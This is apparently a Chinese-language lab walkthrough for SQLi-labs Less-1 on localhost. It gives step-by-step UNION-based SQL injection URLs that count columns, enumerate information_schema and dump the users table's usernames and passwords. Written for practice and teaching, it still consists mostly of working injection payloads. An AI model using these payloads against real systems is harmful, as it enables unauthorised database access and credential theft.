Less-1
Sql知识点:
Limit(x,y):从x+1行开始输出,共输出y行
Order by:排序,asc升序(默认),desc(降序)
Union:MySQL执行两条SELECT语句,并把输出组合成单个查询结果集
Group_concat:连接作用,group_concat( 要连接的字段 ) [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’]
concat_ws:concat_ws(‘-’,a,b) 将a和b用-连接起来
MySQL中默认建立的数据库:information_schema,该库中包含三个表:
(1) scheata:存储用户所有的数据库名,记录数据库名的字段:schema_name
(2) tables:存储用户创建的所有数据库的库名和表名,库名字段:table_schema,表名字段:table_name
(3) columns:存储用户创建的所有库名,表名,字段名,库名字段:table_schema,表名字段:table_name,字段名:column_name
开始注入:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1 正常显示 输出了Your Login name: xxx
Your Password: xxx
http://127.0.0.1/sqli-labs-master/Less-1/?id=2 正常显示,与id=1返回结果不同
http://127.0.0.1/sqli-labs-master/Less-1/?id=2’ 出现错误,判断为存在注入漏洞
开始判断有几列字段:
http://127.0.0.1/sqli-labs-master/Less-1/?id=2’ order by 10 --+ 错误:Unknown column ‘10’ in ‘order clause’ 表示第10行不存在,缩小数值,继续测试
http://127.0.0.1/sqli-labs-master/Less-1/?id=2’ order by 3 --+ 正常显示,说明字段有3列
开始判断哪些数据可以回显:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-2’ union select 1,2,3 --+
设置id=-2的原因,这样1,2,3可以对应到各自的列,通过输出可以判断,回显的是哪些列,若id=1,则永远会输出id=1哪一行的信息
查看当前数据库:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-2’ union select 1,2,database() --+
查看当前用户:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-2’ union select 1,2,user() --+
查看所有数据库:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-2’ union select 1,2,group_concat(schema_name) from information_schema.schemata --+
此时以获取信息:
当前数据库,当前用户,该数据库中的字段数,回显的信息在那几行,所有数据库
查看当前数据库中的所有表:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-2’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+
为避免’security’中单引号出现注入错误,建议将security转换成十六进制
即为:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-2’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479–+
判断数据应该来自users表中,现在查询该表中的所有字段:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-2’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273–+
获取到信息:Your Password:id,username,password
下面查询username:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-2’ union select 1,2,group_concat(username) from security.users–+
字段username中的信息全部查询出来了
查询password:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-2’ union select 1,2,group_concat(password) from security.users–+
字段password信息全部查询出来了
下面将username和password用~连接再联合输出:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-2’ union select 1,2,group_concat(concat_ws(’~’,username,password)) from security.users–+